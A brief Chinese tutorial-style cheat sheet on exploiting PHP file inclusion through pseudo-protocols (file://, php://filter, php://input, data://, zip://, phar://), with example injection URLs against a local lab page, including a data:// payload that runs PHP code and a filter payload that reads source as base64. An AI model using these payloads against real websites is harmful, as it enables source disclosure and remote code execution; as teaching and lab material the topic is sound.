文件包含PHP伪协议利用方法

一.file://

使⽤: file:// ⽂件的绝对路径和⽂件名

123.php?cmd=file://D:\xuexi\xiaopi\phpstudy_pro\www\123.txt

二.php://filter

123.php?cmd=php://filter/read=convert.base64-encode/resource=1.php

三.php://input

步骤一:123.php?cmd=php://input抓包

步骤二,右键修改请求方法,修改数据包

步骤三,放行访问

四.data://

⽤途:数据( RFC2397 )

123.php?cmd=data:text/plain,<?php phpinfo();?>

五.zip://

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径)

123.php?cmd=zip://D:\phpstudy_pro\WWW\2.zip%232.txt

六.phar://

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径)

123.php?cmd=phar://D:\phpstudy_pro\WWW\2.zip\2.txt

相关推荐
草莓火锅13 分钟前
用c++使输入的数字各个位上数字反转得到一个新数
开发语言·c++·算法
j_xxx404_15 分钟前
C++ STL:阅读list源码|list类模拟|优化构造|优化const迭代器|优化迭代器模板|附源码
开发语言·c++
DreamNotOver20 分钟前
批量转换论文正文引用为上标
开发语言·论文上标
散峰而望22 分钟前
C/C++输入输出初级(一) (算法竞赛)
c语言·开发语言·c++·算法·github
fie88891 小时前
基于MATLAB的狼群算法实现
开发语言·算法·matlab
gihigo19981 小时前
MATLAB中生成混淆矩阵
开发语言·matlab·矩阵
曾几何时`1 小时前
C++——this指针
开发语言·c++
小冯的编程学习之路1 小时前
【C++】: C++基于微服务的即时通讯系统(1)
开发语言·c++·微服务
穿西装的水獭2 小时前
python将Excel数据写进图片中
开发语言·python·excel
老友@3 小时前
Java Excel 导出:EasyExcel 使用详解
java·开发语言·excel·easyexcel·excel导出